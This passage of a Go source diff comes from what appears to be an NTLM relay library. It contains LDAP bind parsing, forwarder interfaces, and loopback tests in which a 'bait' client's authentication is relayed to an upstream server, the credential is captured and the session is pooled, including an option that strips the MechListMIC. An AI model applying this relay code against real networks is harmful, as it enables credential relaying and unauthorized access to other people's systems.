|
||||
func parseBindNegotiateResponse(env *ber.Packet) ([]byte, error) {
|
||||
resp, rc, err := extractBindResponse(env)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Microsoft AD layout: CHALLENGE in matchedDN (Children[1]).
|
||||
if len(resp.Children) >= 2 {
|
||||
c := resp.Children[1]
|
||||
if c.ClassType == ber.ClassUniversal && c.Tag == ber.TagOctetString {
|
||||
if b := c.ByteValue; len(b) >= 7 && string(b[:7]) == "NTLMSSP" {
|
||||
return append([]byte(nil), b...), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Standard LDAP layout: serverSaslCreds [CONTEXT 7] at any trailing index.
|
||||
for i := 3; i < len(resp.Children); i++ {
|
||||
c := resp.Children[i]
|
||||
if c.ClassType == ber.ClassContext && c.Tag == 7 {
|
||||
if b := c.Data.Bytes(); len(b) >= 7 && string(b[:7]) == "NTLMSSP" {
|
||||
return append([]byte(nil), b...), nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("upstream BindResponse missing NTLMSSP CHALLENGE (resultCode=%d) — sicily NTLM may be disabled, or the bind was treated as anonymous", rc)
|
||||
}
|
||||
|
||||
// inboundRequestsSigning reports whether a raw NTLMSSP NEGOTIATE message has
|
||||
// SIGN or SEAL set — the two flags that signal the client actually wants
|
||||
// message integrity/confidentiality on the payload. ALWAYS_SIGN is
|
||||
// intentionally excluded: it only forces session-key generation as a
|
||||
// downlevel fallback and is set by clients that won't enforce signing on the
|
||||
// wire, so warning on it produces noise. The NegotiateFlags field is at
|
||||
// offset 12-16 of the NEGOTIATE message (after the 8-byte signature and the
|
||||
// 4-byte MessageType). Returns false on malformed input — failing closed
|
||||
// avoids spurious warnings.
|
||||
func inboundRequestsSigning(neg []byte) bool {
|
||||
if len(neg) < 16 || string(neg[:7]) != "NTLMSSP" {
|
||||
return false
|
||||
}
|
||||
if binary.LittleEndian.Uint32(neg[8:12]) != ntlmssp.TypeNtLmNegotiate {
|
||||
return false
|
||||
}
|
||||
flags := binary.LittleEndian.Uint32(neg[12:16])
|
||||
return flags&(ntlmssp.FlgNegSign|ntlmssp.FlgNegSeal) != 0
|
||||
}
|
||||
|
||||
// parseBindResultCode extracts the resultCode, matchedDN, and
|
||||
// diagnosticMessage from a BindResponse. Used after the inbound's AUTHENTICATE
|
||||
// has been forwarded — at that point the upstream either binds successfully
|
||||
// (resultCode=0) or rejects (non-zero). AD encodes the precise reason for
|
||||
// rejection in diagnosticMessage as `... data NNN, vXXXX`.
|
||||
func parseBindResultCode(env *ber.Packet) (int, string, string, error) {
|
||||
resp, rc, err := extractBindResponse(env)
|
||||
if err != nil {
|
||||
return 0, "", "", err
|
||||
}
|
||||
if rc < 0 {
|
||||
return 0, "", "", fmt.Errorf("BindResponse missing resultCode")
|
||||
}
|
||||
matchedDN, diagnostic := bindResponseDiagnostic(resp)
|
||||
return rc, matchedDN, diagnostic, nil
|
||||
}
|
||||
@@ -0,0 +1,292 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
ber "github.com/go-asn1-ber/asn1-ber"
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
)
|
||||
|
||||
// TestEncodeBindRequestShape verifies the BER shape of the BindRequest we
|
||||
// emit: a SEQUENCE of (version=3, name="", auth choice carrying the NTLMSSP
|
||||
// token). The auth choice's class/tag determines phase: TagEnumerated for
|
||||
// NEGOTIATE, TagEmbeddedPDV for AUTHENTICATE — same convention goldap uses
|
||||
// for the AD sicily extension.
|
||||
func TestEncodeBindRequestShape(t *testing.T) {
|
||||
ntlmTok := []byte("NTLMSSP\x00\x01stub")
|
||||
for _, tag := range []ber.Tag{ldapAuthNTLMNegotiate, ldapAuthNTLMAuthenticate} {
|
||||
req := encodeBindRequest(tag, ntlmTok)
|
||||
if req.ClassType != ber.ClassApplication || req.Tag != ber.Tag(ldapAppBindRequest) {
|
||||
t.Errorf("BindRequest envelope class/tag = %d/%d, want app/0", req.ClassType, req.Tag)
|
||||
}
|
||||
if len(req.Children) != 3 {
|
||||
t.Fatalf("BindRequest children = %d, want 3", len(req.Children))
|
||||
}
|
||||
version := req.Children[0].Value
|
||||
if v, ok := version.(int64); !ok || v != 3 {
|
||||
t.Errorf("version = %v, want int64(3)", version)
|
||||
}
|
||||
name := req.Children[1].Value
|
||||
if s, ok := name.(string); !ok || s != "" {
|
||||
t.Errorf("name = %v, want empty string", name)
|
||||
}
|
||||
auth := req.Children[2]
|
||||
if auth.ClassType != ber.ClassContext || auth.Tag != tag {
|
||||
t.Errorf("auth class/tag = %d/%d, want context/%d", auth.ClassType, auth.Tag, tag)
|
||||
}
|
||||
// The NTLM token bytes are stored in the packet's Data buffer.
|
||||
if got := auth.Data.Bytes(); !bytes.Equal(got, ntlmTok) {
|
||||
t.Errorf("auth data = %x, want %x", got, ntlmTok)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseBindNegotiateResponseSicilyMatchedDN parses the AD sicily NTLM
|
||||
// layout: the CHALLENGE is packed in matchedDN (Children[1] of BindResponse)
|
||||
// rather than in the standard serverSaslCreds [CONTEXT 7] slot. resultCode is
|
||||
// 14 (saslBindInProgress) in this example but could equally be 0 — sicily
|
||||
// servers don't always set it to 14, so the parser ignores resultCode when a
|
||||
// CHALLENGE is found.
|
||||
func TestParseBindNegotiateResponseSicilyMatchedDN(t *testing.T) {
|
||||
challenge := []byte("NTLMSSP\x00\x02sicilyMatchedDN")
|
||||
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
|
||||
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindResponse), nil, "BindResponse")
|
||||
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSaslBindInProgress), "resultCode"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, string(challenge), "matchedDN-as-CHALLENGE"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
|
||||
env.AppendChild(resp)
|
||||
|
||||
decoded, err := ber.DecodePacketErr(env.Bytes())
|
||||
if err != nil {
|
||||
t.Fatalf("DecodePacketErr: %v", err)
|
||||
}
|
||||
got, err := parseBindNegotiateResponse(decoded)
|
||||
if err != nil {
|
||||
t.Fatalf("parseBindNegotiateResponse: %v", err)
|
||||
}
|
||||
if !bytes.Equal(got, challenge) {
|
||||
t.Errorf("CHALLENGE = %x, want %x", got, challenge)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseBindNegotiateResponseStandardServerSaslCreds covers the spec-
|
||||
// correct layout: serverSaslCreds [CONTEXT 7] OPTIONAL after the standard
|
||||
// LDAPResult fields. This path is taken when the upstream isn't AD.
|
||||
func TestParseBindNegotiateResponseStandardServerSaslCreds(t *testing.T) {
|
||||
challenge := []byte("NTLMSSP\x00\x02standard")
|
||||
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
|
||||
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindResponse), nil, "BindResponse")
|
||||
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSaslBindInProgress), "resultCode"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
|
||||
sasl := ber.Encode(ber.ClassContext, ber.TypePrimitive, 7, nil, "serverSaslCreds")
|
||||
sasl.Data.Write(challenge)
|
||||
resp.AppendChild(sasl)
|
||||
env.AppendChild(resp)
|
||||
|
||||
decoded, err := ber.DecodePacketErr(env.Bytes())
|
||||
if err != nil {
|
||||
t.Fatalf("DecodePacketErr: %v", err)
|
||||
}
|
||||
got, err := parseBindNegotiateResponse(decoded)
|
||||
if err != nil {
|
||||
t.Fatalf("parseBindNegotiateResponse: %v", err)
|
||||
}
|
||||
if !bytes.Equal(got, challenge) {
|
||||
t.Errorf("CHALLENGE = %x, want %x", got, challenge)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseBindNegotiateResponseAnonymousFallback verifies the loud-failure
|
||||
// path: BindResponse with resultCode=0 and an empty matchedDN means the DC
|
||||
// treated our sicily bind as anonymous. The relay must reject this — the
|
||||
// caller explicitly wants an authenticated upstream — with a message that
|
||||
// explains why.
|
||||
func TestParseBindNegotiateResponseAnonymousFallback(t *testing.T) {
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
|
||||
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindResponse), nil, "BindResponse")
|
||||
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSuccess), "resultCode"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
|
||||
env.AppendChild(resp)
|
||||
|
||||
decoded, err := ber.DecodePacketErr(env.Bytes())
|
||||
if err != nil {
|
||||
t.Fatalf("DecodePacketErr: %v", err)
|
||||
}
|
||||
_, err = parseBindNegotiateResponse(decoded)
|
||||
if err == nil {
|
||||
t.Fatal("expected error for anonymous fallback, got nil")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "anonymous") || !strings.Contains(err.Error(), "resultCode=0") {
|
||||
t.Errorf("error %q does not surface the diagnostic (resultCode + anonymous)", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestInboundRequestsSigning verifies the warning trigger: SIGN or SEAL
|
||||
// flags in the inbound NEGOTIATE return true; their absence returns false.
|
||||
// ALWAYS_SIGN is intentionally NOT a trigger — it's a session-key generation
|
||||
// hint that doesn't imply on-the-wire signing enforcement, so flagging it
|
||||
// would produce noisy warnings. Malformed input fails closed.
|
||||
func TestInboundRequestsSigning(t *testing.T) {
|
||||
build := func(flags uint32) []byte {
|
||||
b := make([]byte, 16)
|
||||
copy(b[:8], []byte("NTLMSSP\x00"))
|
||||
binary.LittleEndian.PutUint32(b[8:12], ntlmssp.TypeNtLmNegotiate)
|
||||
binary.LittleEndian.PutUint32(b[12:16], flags)
|
||||
return b
|
||||
}
|
||||
cases := []struct {
|
||||
name string
|
||||
flags uint32
|
||||
want bool
|
||||
}{
|
||||
{"sign", ntlmssp.FlgNegSign | ntlmssp.FlgNegUnicode, true},
|
||||
{"seal", ntlmssp.FlgNegSeal | ntlmssp.FlgNegUnicode, true},
|
||||
{"always-sign-only", ntlmssp.FlgNegAlwaysSign | ntlmssp.FlgNegUnicode, false},
|
||||
{"none", ntlmssp.FlgNegUnicode | ntlmssp.FlgNegNtLm, false},
|
||||
}
|
||||
for _, c := range cases {
|
||||
t.Run(c.name, func(t *testing.T) {
|
||||
if got := inboundRequestsSigning(build(c.flags)); got != c.want {
|
||||
t.Errorf("flags=0x%08x → %v, want %v", c.flags, got, c.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
if inboundRequestsSigning(nil) {
|
||||
t.Error("nil input must return false")
|
||||
}
|
||||
if inboundRequestsSigning([]byte("not-ntlm")) {
|
||||
t.Error("non-NTLMSSP input must return false")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEncodeStartTLSRequestShape verifies the BER shape of the StartTLS
|
||||
// ExtendedRequest we emit: [APPLICATION 23] SEQUENCE with a single
|
||||
// [CONTEXT 0] PRIMITIVE child carrying the StartTLS OID bytes (RFC 4511
|
||||
// §4.12, §4.14).
|
||||
func TestEncodeStartTLSRequestShape(t *testing.T) {
|
||||
req := encodeStartTLSRequest()
|
||||
if req.ClassType != ber.ClassApplication || req.Tag != ldapAppExtendedRequest {
|
||||
t.Errorf("ExtendedRequest envelope class/tag = %d/%d, want app/23", req.ClassType, req.Tag)
|
||||
}
|
||||
if len(req.Children) != 1 {
|
||||
t.Fatalf("ExtendedRequest children = %d, want 1", len(req.Children))
|
||||
}
|
||||
name := req.Children[0]
|
||||
if name.ClassType != ber.ClassContext || name.Tag != 0 {
|
||||
t.Errorf("requestName class/tag = %d/%d, want context/0", name.ClassType, name.Tag)
|
||||
}
|
||||
if got := name.Data.Bytes(); string(got) != startTLSOID {
|
||||
t.Errorf("requestName data = %q, want %q", got, startTLSOID)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseStartTLSResponseSuccess builds an ExtendedResponse with
|
||||
// resultCode=0 and confirms the parser surfaces it. dialUpstream uses that
|
||||
// signal to upgrade the socket to TLS.
|
||||
func TestParseStartTLSResponseSuccess(t *testing.T) {
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
|
||||
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ldapAppExtendedResponse, nil, "ExtendedResponse")
|
||||
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSuccess), "resultCode"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
|
||||
env.AppendChild(resp)
|
||||
|
||||
decoded, err := ber.DecodePacketErr(env.Bytes())
|
||||
if err != nil {
|
||||
t.Fatalf("DecodePacketErr: %v", err)
|
||||
}
|
||||
rc, err := parseStartTLSResponse(decoded)
|
||||
if err != nil {
|
||||
t.Fatalf("parseStartTLSResponse: %v", err)
|
||||
}
|
||||
if rc != ldapResultSuccess {
|
||||
t.Errorf("resultCode = %d, want 0", rc)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseStartTLSResponseRejection covers the "server says no" path:
|
||||
// resultCode=2 (protocolError) is the standard StartTLS-unsupported response.
|
||||
// The parser must surface the non-zero code with no error — the caller treats
|
||||
// that as "fall back to plain LDAP".
|
||||
func TestParseStartTLSResponseRejection(t *testing.T) {
|
||||
const protocolError = 2
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
|
||||
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ldapAppExtendedResponse, nil, "ExtendedResponse")
|
||||
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(protocolError), "resultCode"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "unsupported extended operation", "diagnosticMessage"))
|
||||
env.AppendChild(resp)
|
||||
|
||||
decoded, err := ber.DecodePacketErr(env.Bytes())
|
||||
if err != nil {
|
||||
t.Fatalf("DecodePacketErr: %v", err)
|
||||
}
|
||||
rc, err := parseStartTLSResponse(decoded)
|
||||
if err != nil {
|
||||
t.Fatalf("parseStartTLSResponse returned error on rejection: %v", err)
|
||||
}
|
||||
if rc != protocolError {
|
||||
t.Errorf("resultCode = %d, want %d", rc, protocolError)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseStartTLSResponseWrongTag verifies envelope validation: when the
|
||||
// inner application packet isn't an ExtendedResponse (e.g. server replied with
|
||||
// BindResponse by mistake), the parser must return an error so the caller can
|
||||
// surface the protocol violation rather than misinterpret resultCode.
|
||||
func TestParseStartTLSResponseWrongTag(t *testing.T) {
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
|
||||
wrong := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ldapAppBindResponse, nil, "BindResponse")
|
||||
wrong.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(0), "resultCode"))
|
||||
env.AppendChild(wrong)
|
||||
|
||||
decoded, err := ber.DecodePacketErr(env.Bytes())
|
||||
if err != nil {
|
||||
t.Fatalf("DecodePacketErr: %v", err)
|
||||
}
|
||||
if _, err := parseStartTLSResponse(decoded); err == nil {
|
||||
t.Fatal("expected error for non-ExtendedResponse envelope, got nil")
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseBindResultCodeSuccess verifies Phase-2 parsing: pull resultCode
|
||||
// from a BindResponse that has no CHALLENGE bytes.
|
||||
func TestParseBindResultCodeSuccess(t *testing.T) {
|
||||
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
|
||||
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(2), "MessageID"))
|
||||
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindResponse), nil, "BindResponse")
|
||||
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSuccess), "resultCode"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
|
||||
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
|
||||
env.AppendChild(resp)
|
||||
|
||||
decoded, err := ber.DecodePacketErr(env.Bytes())
|
||||
if err != nil {
|
||||
t.Fatalf("DecodePacketErr: %v", err)
|
||||
}
|
||||
code, _, _, err := parseBindResultCode(decoded)
|
||||
if err != nil {
|
||||
t.Fatalf("parseBindResultCode: %v", err)
|
||||
}
|
||||
if code != ldapResultSuccess {
|
||||
t.Errorf("resultCode = %d, want 0", code)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,189 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
|
||||
package relay_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/relay"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
"github.com/jfjallid/go-smb/smb/server/memvfs"
|
||||
"github.com/jfjallid/go-smb/spnego"
|
||||
)
|
||||
|
||||
// TestSMBForwarderRawNTLMBoundary verifies the SMB forwarder's interface
|
||||
// boundary: it accepts a raw NTLMSSP NEGOTIATE message (no SPNEGO) and
|
||||
// returns a raw NTLMSSP CHALLENGE; it then accepts a raw NTLMSSP
|
||||
// AUTHENTICATE plus an optional MechListMIC and produces a captured
|
||||
// Credential matching the asserted user/domain.
|
||||
//
|
||||
// We drive this via the public RelayServer with a single SMB upstream and
|
||||
// inspect the captured credential — exercising the forwarder's raw-NTLM
|
||||
// boundary through the listener's SPNEGO-unwrap path.
|
||||
func TestSMBForwarderRawNTLMBoundary(t *testing.T) {
|
||||
const (
|
||||
user = "alice"
|
||||
password = "Hunter2!"
|
||||
domain = "WORKGROUP"
|
||||
share = "test"
|
||||
)
|
||||
ntHash := ntlmssp.Ntowfv1(password)
|
||||
|
||||
up := &server.Server{
|
||||
Config: &server.ServerConfig{
|
||||
Authenticator: &server.MapAuthenticator{
|
||||
Domain: domain,
|
||||
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
|
||||
},
|
||||
},
|
||||
}
|
||||
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
|
||||
upL, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen upstream: %v", err)
|
||||
}
|
||||
upCh := make(chan error, 1)
|
||||
go func() { upCh <- up.Serve(upL) }()
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = up.Shutdown(ctx)
|
||||
<-upCh
|
||||
}()
|
||||
upAddr := upL.Addr().(*net.TCPAddr)
|
||||
|
||||
var capturedCred *relay.Credential
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
ListenAddr: "127.0.0.1:0",
|
||||
Targets: []string{"smb://" + upAddr.String()},
|
||||
OnCredentialCaptured: func(_ *server.Conn, c *relay.Credential) {
|
||||
capturedCred = c
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
relayAddr := rs.SMBAddr().(*net.TCPAddr)
|
||||
|
||||
// Drive an SMB victim auth with a real NegTokenInit. The relay's
|
||||
// onSessionSetup unwraps it to a raw NTLMSSP NEGOTIATE before handing
|
||||
// to the forwarder; the response path re-wraps the CHALLENGE. If the
|
||||
// forwarder boundary regressed (e.g. the listener forgot to unwrap) the
|
||||
// upstream SessionSetup1 would reject the bytes and pooling would fail.
|
||||
bait := smb.Options{
|
||||
Host: relayAddr.IP.String(),
|
||||
Port: relayAddr.Port,
|
||||
User: user,
|
||||
Password: password,
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
}
|
||||
_, _ = smb.NewConnection(bait)
|
||||
|
||||
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
|
||||
t.Fatalf("upstream never pooled — forwarder boundary likely broken")
|
||||
}
|
||||
if capturedCred == nil {
|
||||
t.Fatalf("no credential captured")
|
||||
}
|
||||
if capturedCred.Username != user || capturedCred.Domain != domain {
|
||||
t.Errorf("captured = %s\\%s, want %s\\%s", capturedCred.Domain, capturedCred.Username, domain, user)
|
||||
}
|
||||
// ServerChallenge must be the upstream's challenge (8 bytes set).
|
||||
zero := [8]byte{}
|
||||
if capturedCred.ServerChallenge == zero {
|
||||
t.Errorf("captured ServerChallenge is all-zero — upstream CHALLENGE parsing regressed")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSMBForwarderMICPassthrough covers the MIC plumbing: the relay accepts
|
||||
// a NegTokenResp carrying a MechListMIC and (by default) forwards it through
|
||||
// to the upstream. We can't directly inspect the upstream's view of the MIC
|
||||
// in this test (the in-tree NTLM server validates a self-derived MIC, not
|
||||
// the relayed one), but we can at least exercise that the StripMechListMIC
|
||||
// toggle does not break the basic relay flow.
|
||||
func TestSMBForwarderMICStripDoesNotBreakRelay(t *testing.T) {
|
||||
const (
|
||||
user = "carol"
|
||||
password = "Hunter2!"
|
||||
domain = "WORKGROUP"
|
||||
share = "test"
|
||||
)
|
||||
ntHash := ntlmssp.Ntowfv1(password)
|
||||
|
||||
up := &server.Server{
|
||||
Config: &server.ServerConfig{
|
||||
Authenticator: &server.MapAuthenticator{
|
||||
Domain: domain,
|
||||
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
|
||||
},
|
||||
},
|
||||
}
|
||||
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
|
||||
upL, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen upstream: %v", err)
|
||||
}
|
||||
upCh := make(chan error, 1)
|
||||
go func() { upCh <- up.Serve(upL) }()
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = up.Shutdown(ctx)
|
||||
<-upCh
|
||||
}()
|
||||
upAddr := upL.Addr().(*net.TCPAddr)
|
||||
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
ListenAddr: "127.0.0.1:0",
|
||||
Targets: []string{"smb://" + upAddr.String()},
|
||||
StripMechListMIC: true,
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
relayAddr := rs.SMBAddr().(*net.TCPAddr)
|
||||
|
||||
bait := smb.Options{
|
||||
Host: relayAddr.IP.String(),
|
||||
Port: relayAddr.Port,
|
||||
User: user,
|
||||
Password: password,
|
||||
Domain: domain,
|
||||
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
|
||||
DisableSigning: true,
|
||||
DisableEncryption: true,
|
||||
ForceSMB2: true,
|
||||
DialTimeout: 2 * time.Second,
|
||||
}
|
||||
_, _ = smb.NewConnection(bait)
|
||||
|
||||
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
|
||||
t.Fatalf("strip-mic broke the relay flow (no pooled session)")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// Forwarder drives an upstream NTLMSSP exchange for one inbound auth. The
|
||||
// interface boundary carries raw NTLMSSP (no SPNEGO, no HTTP framing) so the
|
||||
// inbound listener stays protocol-agnostic. SPNEGO unwrapping is the
|
||||
// listener's job; protocol-specific re-wrapping for the upstream client API
|
||||
// is the forwarder's job.
|
||||
type Forwarder interface {
|
||||
Target() Target
|
||||
Negotiate(neg []byte) (chal []byte, err error)
|
||||
Authenticate(remote net.Addr, auth, mic []byte) (cred *Credential, status uint32, err error)
|
||||
Close()
|
||||
}
|
||||
|
||||
// SMBForwarder is the upstream-SMB specialization. Take transfers ownership
|
||||
// of the authenticated *smb.Connection to the caller.
|
||||
type SMBForwarder interface {
|
||||
Forwarder
|
||||
Take() *smb.Connection
|
||||
}
|
||||
|
||||
// HTTPForwarder is the upstream-HTTP specialization. Take transfers ownership
|
||||
// of the authenticated pinned-keepalive socket to the caller.
|
||||
type HTTPForwarder interface {
|
||||
Forwarder
|
||||
Take() *httpUpstream
|
||||
}
|
||||
|
||||
// LDAPForwarder is the upstream-LDAP specialization. Take transfers ownership
|
||||
// of the authenticated LDAP connection to the caller.
|
||||
type LDAPForwarder interface {
|
||||
Forwarder
|
||||
Take() *ldapUpstream
|
||||
}
|
||||
|
||||
// newForwarderFor returns a forwarder bound to the supplied target. The
|
||||
// returned value satisfies SMBForwarder, HTTPForwarder, or LDAPForwarder
|
||||
// depending on target.Protocol; callers that need to pool the upstream
|
||||
// type-switch on the concrete return value.
|
||||
func newForwarderFor(t Target, cfg *ServerConfig, logger server.Logger) (Forwarder, error) {
|
||||
switch t.Protocol {
|
||||
case ProtoSMB:
|
||||
